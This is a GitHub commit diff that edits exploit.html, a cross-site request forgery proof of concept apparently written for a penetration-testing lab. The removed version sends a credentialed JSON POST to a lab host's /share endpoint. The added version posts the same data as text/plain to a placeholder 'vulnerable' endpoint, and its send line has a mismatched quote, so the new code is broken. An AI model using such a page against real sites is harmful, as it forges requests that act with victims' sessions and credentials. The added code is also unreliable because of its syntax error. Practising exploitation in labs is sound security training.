Update exploit.html

0xLittleSpidy · Feb 19, 2024 · 767ffc4 · 767ffc4
1 parent c90b2c0
commit 767ffc4
Showing 1 changed file with 7 additions and 9 deletions.
diff --git a/exploit.html b/exploit.html
@@ -1,15 +1,13 @@
 <!DOCTYPE html>
 <html>
 <body>
-<button onload='sendRequest()'>Submit request</button>
-<script>
-function sendRequest() {
-  var xhr = new XMLHttpRequest();
-  xhr.open('POST', 'http://ptl-7374ade8-f31b71a6.libcurl.so:80/share');
-  xhr.withCredentials = true;
-  xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');
-  xhr.send({"user":"test","id":0}  );
-}
+
+  <script>
+var xhr = new XMLHttpRequest();
+xhr.open("POST", "http://vulnerable/endpoint");
+xhr.setRequestHeader("Content-Type", "text/plain");
+xhr.send('{"user":"test","id":0}  );
 </script>
+
 </body>
 </html>